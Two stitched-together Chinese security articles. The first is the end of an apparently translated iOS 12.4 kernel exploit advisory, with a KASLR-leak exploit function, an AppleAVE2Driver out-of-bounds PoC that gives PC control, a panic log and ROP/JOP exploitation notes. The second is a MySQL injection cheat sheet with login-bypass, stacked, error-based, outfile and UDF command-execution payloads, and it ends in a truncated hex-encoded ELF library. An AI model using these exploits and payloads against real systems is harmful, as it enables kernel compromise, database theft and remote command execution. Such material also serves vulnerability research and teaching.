因此，通过IOConnectMapMemory64我们可以将IOSharedDataQueue映射到内存描述符中，该描述符包含排队的所有数据，包括泄漏的栈数据！为了确定这个漏洞，我们再来看一个队列泄漏数据的例子:
30 00 00 00
00 00 00 00 78 00 00 80
c0 5a 0c 03 00 00 00 00
00 f0 42 00 e0 ff ff ff
50 b4 d8 3b e0 ff ff ff
80 43 03 11 f0 ff ff ff
00 00 00 00 00 00 00 00
可以看到第一个dword是IODataQueueEntry结构的size字段（在本例中为0x30），该字段位于队列中每个数据块的前面：
typedef struct _IODataQueueEntry{
UInt32 size;
UInt8 data[4];
} IODataQueueEntry;
然后我们第三行中看到OSIncrementAtomic的返回值(0x78)和absolutetime_to_sputime的值，数据之后是3个内核指针，它们是从堆栈中泄漏出来。具体来说，我们对第三个指针（0xfffffff011034380）感兴趣。根据我的测试(iPhone
8, iOS 12.4)，这个指针总是指向内核的__TEXT段，因此通过计算指针偏移，我们可以推断出内核的偏移。信息泄漏的exploit如下所示：
uint64_t check_memmap_for_kaslr(io_connect_t ioconn)
{
kern_return_t ret;
mach_vm_address_t map_addr = 0;
mach_vm_size_t map_size = 0;
ret = IOConnectMapMemory64(ioconn, 0, mach_task_self(), &map_addr, &map_size, kIOMapAnywhere);
if (ret != KERN_SUCCESS)
{
printf("IOConnectMapMemory64 failed: %x %sn", ret, mach_error_string(ret));
return 0x0;
}
uint32_t search_val = 0xfffffff0; // Constant value of Kernel code segment higher 32bit addr
uint64_t start_addr = map_addr;
size_t search_size = map_size;
while ((start_addr = (uint64_t)memmem((const void *)start_addr, search_size, &search_val, sizeof(search_val))))
{
uint64_t tmpcalc = *(uint64_t *)(start_addr - 4) - INFOLEAK_ADDR;
// kaslr offset always be 0x1000 aligned
if ((tmpcalc & 0xFFF) == 0x0)
{
return tmpcalc;
}
start_addr += sizeof(search_val);
search_size = (uint64_t)map_addr + search_size - start_addr;
}
return 0x0;
}
mach_vm_offset_t get_kaslr(io_connect_t ioconn)
{
uint64_t scalarInput = 1;
// Allocte a new IOSharedDataQueue
// AppleSPUProfileDriverUserClient::extSetEnabledMethod
IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
int kaslr_iter = 0;
while (!kaslr)
{
// AppleSPUProfileDriverUserClient::extSignalBreak
// Enqueues a data item of size 0x30, leaking 0x18 bytes off the stack
IOConnectCallStructMethod(ioconn, 11, NULL, 0, NULL, NULL);
// Map the IOSharedDataQueue and look for the leaked ptr
kaslr = check_memmap_for_kaslr(ioconn);
if (kaslr_iter++ % 5 == 0)
{
scalarInput = 0;
// AppleSPUProfileDriverUserClient::extSetEnabledMethod
IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
scalarInput = 1;
// AppleSPUProfileDriverUserClient::extSetEnabledMethod
IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
}
}
scalarInput = 0;
// AppleSPUProfileDriverUserClient::extSetEnabledMethod
IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL); // Shutdown
return kaslr;
}
### 攻击内核
最后一个漏洞是AppleAVE2Driver中缺少边界检查，AppleAVE2是iOS中的图形驱动程序，在本例中，可通过沙盒逃逸来访问MIDIServer。userclient公开了24个方法，这个漏洞存在于索引7的方法中:_SetSessionSettings。该方法获取一个大小为0x108的输入缓冲区，并通过AppleAVE2Driver::GetIOSurfaceFromCSID方法从输入缓冲区中提供的ID加载IOSurfaces，最后调用AppleAVE2Driver::Enqueue。具体来说，该方法将加载一个名为InitInfoSurfaceId或InitInfoBufferr的表:
if ( !structIn->InitInfoSurfaceId )
{
goto err;
}
[...]
initInfoSurfaceId = structIn->InitInfoSurfaceId;
if ( initInfoSurfaceId )
{
initInfoBuffer = AppleAVE2Driver::GetIOSurfaceFromCSID(this->provider, initInfoSurfaceId, this->task);
this->InitInfoBuffer = initInfoBuffer;
if ( initInfoBuffer )
goto LABEL_13;
goto err;
}
然后AppleAVE2Driver::Enqueue方法将在IOSurface上创建一个IOSurfaceBufferMngr实例：
bufferMgr = operator new(0x70uLL);
if ( !IOSurfaceBufferMngr::IOSurfaceBufferMngr(bufferMgr, 0LL, this) )
{
goto LABEL_23;
}
if ( IOSurfaceBufferMngr::CreateBufferFromIOSurface(
bufferMgr,
service->InitInfoBuffer,
this->iosurfaceRoot,
*&this->gap8[128],
*&this->gap8[136],
1,
0,
0,
0,
0,
*&this->gap101[39],
"InitInfo",
this->gap3AF[49],
0x1F4u) )
{
err = 0xE00002BDLL;
v28 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(bufferMgr);
operator delete(v28);
return err;
}
if ( bufferMgr->size < 0x25DD0 )
{
err = 0xE00002BCLL;
goto LABEL_27;
}
buffMgrKernAddr = bufferMgr->kernelAddress;
if ( !buffMgrKernAddr )
{
goto LABEL_20;
}
考虑到这个缓冲区中的数据（现在映射到buffMgrKernAddr）是由userland控制的，该方法将继续将缓冲区中的大块数据复制到AVEClient*对象中，现在将其命名为currentClient：
currentClient->unsigned2400 = *(buffMgrKernAddr + 2008);
memmove(¤tClient->unsigned2404, buffMgrKernAddr + 2012, 0x2BE4LL);
currentClient->oword5018 = *(buffMgrKernAddr + 13296);
currentClient->oword5008 = *(buffMgrKernAddr + 13280);
currentClient->oword4FF8 = *(buffMgrKernAddr + 13264);
currentClient->oword4FE8 = *(buffMgrKernAddr + 13248);
currentClient->oword5058 = *(buffMgrKernAddr + 13360);
currentClient->memoryInfoCnt2 = *(buffMgrKernAddr + 0x3420);
currentClient->oword5038 = *(buffMgrKernAddr + 13328);
currentClient->oword5028 = *(buffMgrKernAddr + 13312);
currentClient->oword5098 = *(buffMgrKernAddr + 13424);
currentClient->oword5088 = *(buffMgrKernAddr + 13408);
currentClient->oword5078 = *(buffMgrKernAddr + 13392);
currentClient->oword5068 = *(buffMgrKernAddr + 13376);
currentClient->oword50C8 = *(buffMgrKernAddr + 13472);
currentClient->oword50B8 = *(buffMgrKernAddr + 13456);
currentClient->oword50A8 = *(buffMgrKernAddr + 13440);
currentClient->qword50D8 = *(buffMgrKernAddr + 13488);
memmove(¤tClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);
memmove(¤tClient->gap1C8C[0x5CC], buffMgrKernAddr + 1584, 0x1A8LL);
通过AppleAVE2DriverUserClient::_ my_close关闭AppleAVE2Driver
userclient时，将调用一个名为AppleAVE2Driver::AVE_DestroyContext的函数，该函数位于该userclient关联的AVEClient对象上。AVE_DestroyContext在AVEClient中MEMORY_INFO结构上调用AppleAVE2Driver::DeleteMemoryInfo，并且在倒数第二步客户端的MEMORY_INFO结构数组上调用此函数，其数量由memoryInfoCnt{1,2}字段表示：
v73 = currentClient->memoryInfoCnt1 + 2;
if ( v73 <= currentClient->memoryInfoCnt2 )
v73 = currentClient->memoryInfoCnt2;
if ( v73 )
{
iter1 = 0LL;
statsMapBufArr = currentClient->statsMapBufferArray;
do
{
AppleAVE2Driver::DeleteMemoryInfo(this, statsMapBufArr);
++iter1;
loopMax = currentClient->memoryInfoCnt1 + 2;
cnt2 = currentClient->memoryInfoCnt2;
if ( loopMax <= cnt2 )
loopMax = cnt2;
else
loopMax = loopMax;
statsMapBufArr += 0x28LL;
}
while ( iter1 < loopMax );
}
在_SetSessionSettings中，对memoryInfoCnt1的值进行边界检查：
if ( currentClient->memoryInfoCnt1 >= 4u )
{
ret = 0xE00002BCLL;
return ret;
}
但是，没有检查memoryInfoCnt2的值。这里缺少检查，加上while循环中的逻辑，意味着如果提供足够大的memoryInfoCnt2值，循环将越界访问和调用DeleteMemoryInfo上的数据:
loopMax = currentClient->memoryInfoCnt1 + 2; // Take memoryInfoCnt1 (max 4), loopMax is <=6
cnt2 = currentClient->memoryInfoCnt2; // Take memoyInfoCnt2
if ( loopMax <= cnt2 ) // if cnt2 is larger than loopMax...
loopMax = cnt2; // update loopMax to the value of memoryInfoCnt2
else
loopMax = loopMax; // else, no change
默认情况下，statsMapBufferArray中有5个MEMORY_INFO结构。由于每个大小为0x28，数组将占用0xc8（十进制：200）字节。由于这个数组是在AVEClient*对象中内联的，当我们触发越界错误时，下一个DeleteMemoryInfo调用将使用statsMapBufferArray之后所有的数据。在我的iPhone
8的12.4内核上，这个数组的偏移量是0x1b60，也就是说第6项（第一个越界项）位于偏移量0x1c28处。
现在，还记得在SetSessionSettings中，如何将大块数据从用户控制的缓冲区复制到AVEClient对象中吗？恰好其中一个受控制缓冲区位于statsMapBufferArray字段之后!
00000000 AVEClient struc ; (sizeof=0x29AC8, align=0x8, mappedto_215)
[...]
00001B60 statsMapBufferArray DCB 200 dup(?)
00001C28 sessionSettings_block1 DCB ?
[...]
// Copies from the IOSurface buffer to a buffer adjacent to the statsMapBufferArray
memmove(¤tClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);
因此，通过在复制到AVEClient的IOSurface缓冲区中提供精心构建的数据，我们完全可以控制越界数组条目。
### 获取控制（PC）
现在，我们看一下AppleAVE2Driver::DeleteMemoryInfo函数原型，记住我们对memInfo对象具有完全控制权限：
__int64 AppleAVE2Driver::DeleteMemoryInfo(AppleAVE2Driver *this, IOSurfaceBufferMngr **memInfo)
{
[...]
if ( memInfo )
{
if ( *memInfo )
{
v8 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(*memInfo);
operator delete(v8);
}
memset(memInfo, 0, 0x28uLL);
result = 0LL;
}
else
{
result = 0xE00002BCLL;
}
return result;
}
IOSurfaceBufferMngr的析构函数直接封装了一个静态的IOSurfaceBufferMngr::RemoveBuffer调用:
IOSurfaceBufferMngr *IOSurfaceBufferMngr::~IOSurfaceBufferMngr(IOSurfaceBufferMngr *this)
{
IOSurfaceBufferMngr::RemoveBuffer(this);
return this;
}
然后RemoveBuffer调用IOSurfaceBufferMngr::CompleteFence，在本例中，汇编代码如下：
IOSurfaceBufferMngr::CompleteFence(IOSurfaceBufferMngr *this)
STP X20, X19, [SP,#-0x10+var_10]!
STP X29, X30, [SP,#0x10+var_s0]
ADD X29, SP, #0x10
MOV X19, X0 // x19 = x0 (controlled pointer)
LDR X0, [X0,#0x58] // Loads x0->0x58
CBZ X0, exit_stub // Exits if the value is zero
LDRB W8, [X19,#0x1E] // Loads some byte at x19->0x1e
CBNZ W8, exit_stub // Exits if the byte is non-zero
MOV W1, #0
BL IOFence::complete
LDR X0, [X19,#0x58] // Loads x19->0x58
LDR X8, [X0] // Loads x0->0x0
LDR X8, [X8,#0x28] // Loads function pointer x8->0x28
BLR X8 // Branches to fptr, giving arbitrary PC control
STR XZR, [X19,#0x58]
exit_stub
LDP X29, X30, [SP,#0x10+var_s0]
LDP X20, X19, [SP+0x10+var_10],#0x20
RET
本质上，通过创建一个userland共享缓冲区，可以触发一个越界访问，这将直接在关闭userclient时提供任意PC控制。
下面是这个漏洞的PoC，它将使设备崩溃，并导致取消对地址0x4141414142424242的引用:
void kernel_bug_poc(io_connect_t ioconn, io_connect_t surface_ioconn)
{
kern_return_t ret;
{
char open_inputStruct[0x8] = { 0 };
char open_outputStruct[0x4] = { 0 };
size_t open_outputStruct_size = sizeof(open_outputStruct);
// AppleAVE2UserClient::_my_open
ret = IOConnectCallStructMethod(ioconn,
0,
open_inputStruct,
sizeof(open_inputStruct),
open_outputStruct,
&open_outputStruct_size);
NSLog(@"my_open: %x %s", ret, mach_error_string(ret));
}
// Create an IOSurface using the IOSurface client owned by MIDIServer
// Address & size of the shared mapping created by IOSurface and
// returned in the output struct at offsets 0x0 and 0x1c respectively
uint64_t surface_map_addr = 0x0;
uint32_t surface_map_size = 0x0;
uint32_t surface_id = IOSurfaceRootUserClient_CreateSurface(surface_ioconn, &surface_map_addr, &surface_map_size);
NSLog(@"Got Surface ID: %d", surface_id);
uintptr_t surface_data = malloc(surface_map_size);
bzero((void *)surface_data, surface_map_size);
*(uint64_t *)(surface_data + 0x0) = 0x4141414142424242; // First pointer to memory containing function pointer
// This field is the start of the block adjacent to the stats array
*(uint32_t *)(surface_data + 0x3420) = 6; // `memoryInfoCnt2` field, gives 1 OOB access
// Sends the data to MIDIServer to be written onto the IOSurface
// The MIDIServer ROP chain hangs on the following call:
// vm_read_overwrite(ourtask, clientbuf, surface1_map_size, surface1_map_addr, ...)
send_overwriting_iosurface_map(surface_data, surface_map_size, surface_map_addr);
// Waits for a message back from MIDIServer, sent by the ROP chain
// Notifies us that the vm_read_overwrite call completed
reply_notify_completion();
free(surface_data);
{
// Write the OOB count value to the `currentClient` object, and write our adjacent data
char setSessionSettings_inputStruct[0x108] = { 0 };
char setSessionSettings_outputStruct[0x4] = { 0 };
size_t setSessionSettings_outputStruct_size = sizeof(setSessionSettings_outputStruct);
*(uint32_t *)(setSessionSettings_inputStruct + 0x04) = surface_id; // FrameQueueSurfaceId
*(uint32_t *)(setSessionSettings_inputStruct + 0x08) = surface_id; // InitInfoSurfaceId, vulnerable IOSurface mapping
*(uint32_t *)(setSessionSettings_inputStruct + 0x0c) = surface_id; // ParameterSetsBuffer
*(uint32_t *)(setSessionSettings_inputStruct + 0xd0) = surface_id; // codedHeaderCSID & codedHeaderBuffer [0]
*(uint32_t *)(setSessionSettings_inputStruct + 0xd4) = surface_id; // codedHeaderCSID & codedHeaderBuffer [1]
// AppleAVE2UserClient::_SetSessionSettings
ret = IOConnectCallStructMethod(ioconn,
7,
setSessionSettings_inputStruct,
sizeof(setSessionSettings_inputStruct),
setSessionSettings_outputStruct,
&setSessionSettings_outputStruct_size);
NSLog(@"SetSessionSettings: %x %s", ret, mach_error_string(ret));
}
{
// Trigger the bug
char close_inputStruct[0x4] = { 0 };
char close_outputStruct[0x4] = { 0 };
size_t close_outputStruct_size = sizeof(close_outputStruct);
// AppleAVE2UserClient::_my_close
ret = IOConnectCallStructMethod(ioconn,
1,
close_inputStruct,
sizeof(close_inputStruct),
close_outputStruct,
&close_outputStruct_size);
NSLog(@"my_close: %x %s", ret, mach_error_string(ret));
}
}
log:
panic(cpu 5 caller 0xfffffff007205df4): Kernel data abort. (saved state: 0xffffffe03cafaf40)
x0: 0x4141414142424242 x1: 0xffffffe02cb09c28 x2: 0x0000000000000000 x3: 0xffffffe02cb09c28
x4: 0x0000000000000000 x5: 0x0000000000000000 x6: 0xfffffff00f35bb54 x7: 0x0000000000000000
x8: 0x0000000000000006 x9: 0x0000000000000006 x10: 0x0000000000000001 x11: 0x0000000000080022
x12: 0x0000000000000022 x13: 0xffffffe00094bc08 x14: 0x0000000000080023 x15: 0x0000000000006903
x16: 0xfffffff00ee71740 x17: 0x0000000000000000 x18: 0xfffffff00ee79000 x19: 0x4141414142424242
x20: 0xffffffe02cb08000 x21: 0x0000000000000000 x22: 0xffffffe02cb09c28 x23: 0x0000000000000005
x24: 0xffffffe02cb2f748 x25: 0xffffffe02cb0d034 x26: 0x0000000000000050 x27: 0xffffffe004929218
x28: 0x0000000000000000 fp: 0xffffffe03cafb2a0 lr: 0xfffffff0069397e8 sp: 0xffffffe03cafb290
pc: 0xfffffff0069398dc cpsr: 0x80400304 esr: 0x96000004 far: 0x414141414242429a
可以看到pc对齐是在x0->0x58指令之前的分支:
0xFFFFFFF0069398CC IOSurfaceBufferMngr::CompleteFence
0xFFFFFFF0069398CC
0xFFFFFFF0069398CC STP X20, X19, [SP,#-0x10+var_10]!
0xFFFFFFF0069398D0 STP X29, X30, [SP,#0x10+var_s0]
0xFFFFFFF0069398D4 ADD X29, SP, #0x10
0xFFFFFFF0069398D8 MOV X19, X0
0xFFFFFFF0069398DC LDR X0, [X0,#0x58] // Faults here
0xFFFFFFF0069398E0 CBZ X0, loc_FFFFFFF006939908
0xFFFFFFF0069398E4 LDRB W8, [X19,#0x1E]
0xFFFFFFF0069398E8 CBNZ W8, loc_FFFFFFF006939908
0xFFFFFFF0069398EC MOV W1, #0
0xFFFFFFF0069398F0 BL IOFence__complete
0xFFFFFFF0069398F4 LDR X0, [X19,#0x58]
0xFFFFFFF0069398F8 LDR X8, [X0]
0xFFFFFFF0069398FC LDR X8, [X8,#0x28]
0xFFFFFFF006939900 BLR X8
[...]
### Exploitation
一旦逃逸了沙盒，利用这个漏洞就非常简单。
PoC中的代码也可用于EXP，但是SetSessionSettings缓冲区（0x4141414142424242）中提供的值必须指向可控的内核缓冲区，可以从该缓冲区加载函数指针。另外一个堆信息泄漏的漏洞可以用于稳定性保证。在kASLR失败的情况下，还可以根据每个设备推测堆的位置:在堆内存高地址测试下，大量的分配很可能会在相同的内存范围(0xffffffffe1xxxxxxxx)。
因为这个漏洞可以让我们控制PC，所以它可以通过ROP或JOP进行利用。虽然不一定适用于有PAC的A12或更新版本的设备，但非A12 /
A13是支持我们沙盒逃逸，还要注意，在构建ROP / JOP链时，可控内核缓冲区的地址在x19内，另一个可控指针在x0内，可以用作stack
pivot或暂存内存空间。
poc地址：<https://github.com/ssd-secure-disclosure/advisories/tree/master/SSD%20Advisory%20-%204066/poc> | 社区文章 |
# 注入地书——注入的基石
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 授人以鱼，不如授人以渔
尽量做到简洁的方式将绕过方式原理在这一篇文章中讲清楚
## 不适合人群：
1.对 sql 注入各种原理了如指掌，信手拈来的大佬
2.没有任何数据库以及python基础的新手
3.暂时没有自主动手实践、查询资料能力的新手
## SQL注入基础知识以及各种技巧
本质就是开发者对用户输入的参数过滤不严格，导致用户输入数据能够影响预设查询功能的一种技术。通常导致数据库的原有信息泄露、篡改、删除。本文将针对 Mysql
的各种注入方式和对应的应用技巧。
* * *
1.`id=1'or'1'='1'%23` 无空格万能密码
`id=-1'or(id=26)and'1'='1` 指定序号的万能密码
2.对输出结果简单检测的，如检测到flag返回就拦截，可以通过加密来绕过
1' union select 1,2,to_base64(password) from user3-- -
如这里用base加密
3.空格过滤了可以用`/**/`绕过 。原理：mysql中注释可以当空格用
这几个都能作为空格使用
09 水平制表符
0a 换行
0b 垂直制表符
0c 换页
0d 回车
4.反引号可以用来标注字段和表
5.`md5(str,true)`的绕过
ffifdyop,129581926211651571912466741651878684928这两个字符经过md5之后有or 6这个字符串，利用其进行绕过’ ‘or ’ 6’
6.`sql`注入中弱比较的使用，例子与原理如下
7.`modify`只能改字段数据类型完整约束，不能改字段名，但是`change`可以
8.堆叠注入来修改密码绕过登录
0x61646d696e;update`table_name`set`pass`=1;
# 至于为什么非得用十六进制登录，是因为下面这个没有字符串单引号包围，前面0x61646d696e（admin）也可以用0来代替（弱比较）
### 图片注释注入：
1.图片的`EXIF`信息中有一个`comment`字段，也就是图片注释。`finfo`类下的`file()`方法对其进行检测。可以利用这个传入服务器中造成注入。
2.修改`EXIF`信息可以用`exiftool`工具 `exiftool -overwrite_original -comment=`
3.上传文件文件名随机并不考虑类型时可能注入点在这
### Handler注入（mysql特有）：
#先用 Handler 开启某个表
HANDLER tbl_name OPEN [ [AS] alias]
#后续可以Read读取，直到Close
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
#第一种语句，通过指定索引和where条件查询，如果为多重索引，那就用，分隔并对每列都指定索引
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
#第二种语句， 正常语法
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
#第三种语句，速度比第二种更快。适用于InnoDB表
HANDLER tbl_name CLOSE
### 预处理注入：
* 格式如下
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
* 实际操作
#基本条件得存在堆叠注入，可以用concat(char(115,101,108,101,99,116)代替select
username=1';PREPARE xxx from select group_concat(column_name) from information_schema.columns where table_name='flag';EXECUTE xxx;
#改进，十六进制预处理注入,转后前面加个0x，和上面一句话的意思相同
username=user1';PREPARE xxx from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c616727;EXECUTE xxx;
在线的十六进制转换网站 ：`https://www.sojson.com/hexadecimal.html`
### 存储过程和函数的信息的表`information_schema.routines`：
1.基本格式
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME = 'sp_name';
# ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称
如果不使用 `ROUTNE_NAME` 字段指定存储过程或函数的名称，将查询出所有的存储过程或函数的定义。如果存储过程和存储函数名称相同，则需要要同时指定
`ROUTINE_TYPE` 字段表明查询的是哪种类型的存储程序。
### update注入：
当页面存在更新的时候，结果不会显示出来。但可以更新结果到指定的表中直接观测。
例子：
#分页查询
$sql = "update table_user set pass = '{$password}' where username = '{$username}';";
#查库名、闭合引号
password=1',username=database()#&username=1
当某些时候输入的单引号被过滤的时候
#分页查询
$sql = "update table_user set pass = '{$password}' where username = '{$username}';";
#反引号逃逸效果
password=\
#分页查询
$sql = "update table_user set pass = ' \' where username = ' {$username}';";
#可以看到，中间 \' where username = 这一段被标注。注入点转至username
最后查询库名的payload
password=1\&username=,username=(select database())#
## Insert注入：
例子如下：
//插入数据
$sql = "insert into ctf_user(username,pass) value('{$username}','{$password}');";
username=1',database());
username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()));
#（）绕过空格过滤
username=1',(select(database())));#&password=1
username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#&password=1
### 无列名注入：
一个例子来说明
select `3` from (select 1,2,3 union select * from admin)a;
1,admin中有三个字段，第三个字段为password。子查询里面的语句将admin的3个列名作为别名
2，子查询整体作为a表
3，查询a表中的第三个字段，也就是password
简单扩展一下
#利用别名绕过反引号
select b from (select 1,2,3 as b union select * from admin)a;
#多项查询
select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;
#### Bypass information_schema：
1.高版本的`mysql`中 `INNODB_TABLES` 及 `INNODB_COLUMNS` 中记录着表结构。
5.6.6开始，MySQL默认使用了持久化统计信息，即INNODB_STATS_PERSISTENT=ON，持久化统计信息保存在表mysql.innodb_table_stats和mysql.innodb_index_stats。
由于`performance_schema`过于发杂，所以`mysql`在5.7版本中新增了`sys schemma`，本身不存储数据
1.`schema_auto_increment_columns`，该视图的作用简单来说就是用来对表自增ID的监控。
2.`schema_table_statistics_with_buffer`，非自增ID也能看见
3.`x$schema_table_statistics_with_buffer`，同上
### select into outfile的sql语句：
将表数据到一个文本文件中，并用`LOAD DATA …INFILE`语句恢复数据
* * *
语句基本结构，以及参数含义
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
##############################################
“OPTION”参数为可选参数选项，其可能的取值有：
FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可为单个或多个字符。默认“\t”。
FIELDS ENCLOSED BY '字符'：设置字符来括住字段的值，只能为单个字符。默认不使用任何符号。
FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
FIELDS ESCAPED BY '字符'：设置转义字符，只能为单个字符。默认“\”。
LINES STARTING BY '字符串'：设置每行数据开头的字符，可以为单个或多个字符。默认不使用任何字符。
LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\n”。
##############################################
其中具备写马条件的只有这三条语句
FIELDS TERMINATED BY
LINES STARTING BY
LINES TERMINATED BY
### 报错注入：
人为地制造错误条件，使得查询结果能够出现在错误信息中
* * *
`xpath`语法错误来进行报错注入主要利用`extractvalue`和`updatexml`两个函数。使用条件：`mysql`版本>5.1.5
#简单介绍一下用的比较少的 extractvalue
正常语法：extractvalue(xml_document,Xpath_string);
第一个参数：xml_document是string格式，为xml文档对象的名称
第二个参数：Xpath_string是xpath格式的字符串
作用：从目标xml中返回包含所查询值的字符串
#第二个参数是要求符合xpath语法的字符串，如果不满足要求，则会报错，并且将查询结果放在报错信息里
* * *
简单`mysql`利用
#查数据库名：
id='and(select extractvalue(1,concat(0x7e,(select database()))))
#爆表名：
id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
#爆字段名：
id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
#爆数据：
id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
ps:
一.0x7e=’~’,为不满足xpath格式的字符
二. extractvalue()能查询字符串的最大长度为32，如果我们想要的结果超过32，就要用substring()函数截取或limit分页，一次查看最多32位
### 双注入原理分析:
现象：组合利用`count(), group by, floor()`，能够将查询的一部分以报错的形式显现出来
* * *
#经典的双注入语句
select count(*),concat((payload), floor( rand(0)*2)) as a from information_schema.tables group by a
#当from一个至少3行以上的表时，就会产生一个主键重复的报错，把你显示的信息构造到主键里面，mysql就会报错把这个信息给你显示到页面上。
问题所在：
1）`floor(rand(0)*2)`生成的随机数列是伪随机。（其实不太重要）
2）表中字段数大于三
3）每次查询和插入，`rand(0)`函数都会执行一次。（关键）
第一次查询，查询key为0的字段，发现虚拟表为空，因此进行插入操作。再次调用floor()，因此插入的key是1而不是0，还会将对应的count()值填在key的后面。
第二次查询调用floor，得到的值为1，表key为1的字段存在，因此此处的插入操作就是将coun()的值进行叠加。
第三次查询，此时查询的key为0，发现虚拟表中没有0，因此要进行插入操作。调用floor()，得到了1，因此要插入一个key为1的字段。而key为1的字段已经存在了，因此主键重复，MySQL会报错。
`ps`：rand可以用round代替，floor可以用ceil代替
### `mysql`的`udf`注入：
1.`udf` 全称为：`user defined
function`，用户自定义函数。用户可以添加自定义的新函数到Mysql中，以达到功能的扩充，调用方式与一般系统自带的函数相同
2.利用需要拥有将`udf.dll`写入相应目录（plugin）的权限。`select
@[@plugin_dir](https://github.com/plugin_dir "@plugin_dir")`可以得到`plugin`目录路径
3.将`dll`上传方式几种:.通过`webshell`上传、以hex方式直接上传
4.`udf`获取方式，可以在`sqlmap`中获取
在 `\sqlmap\data\udf\mysql\windows\64`目录下存放着`lib_mysqludf_sys.dll_`
1.sqlmap中自带的shell以及一些二进制文件，为了防止误杀都经过异或编码，不能直接使用
2.sqlmap 自带的解码工具cloak.py，在sqlmap\extra\cloak中打开命令行，来对lib_mysqludf_sys.dll_进行解码然后利用
cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
3.接着就会在\sqlmap\data\udf\mysql\windows\64目录下生成一个dll的文件lib_mysqludf_sys.dll，可以利用lib_mysqludf_sys提供的函数执行系统命令。
5.一般将`udf.dll`文件进行hex编码，借助mysql中的hex函数，先将udf.dll移动到C盘中，这样路径也清晰一些，然后执行下面命令
`select hex(load_file('C:/udf.dll')) into dumpfile 'c:/udf.txt'`
6.攻击过程中，首先需要将`lib_mysqludf_sys` (
目标为windows时，`lib_mysqludf_sys.dll`；`linux`时，`lib_mysqludf_sys.so`）上传到数据库能访问的路径下。`dll`文件导入到plugin中，然后在`mysql`中执行
`create function sys_eval returns string soname 'udf.dll'`
7.系统命令函数：
sys_eval，执行任意命令，并将输出返回。
sys_exec，执行任意命令，并将退出码返回。
sys_get，获取一个环境变量。
sys_set，创建或修改一个环境变量。
8.脚本应用
import requests
base_url="http://api/"
payload = []
text = ["a", "b", "c", "d", "e"]
udf = "7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF10172000000000000000000000000000050100001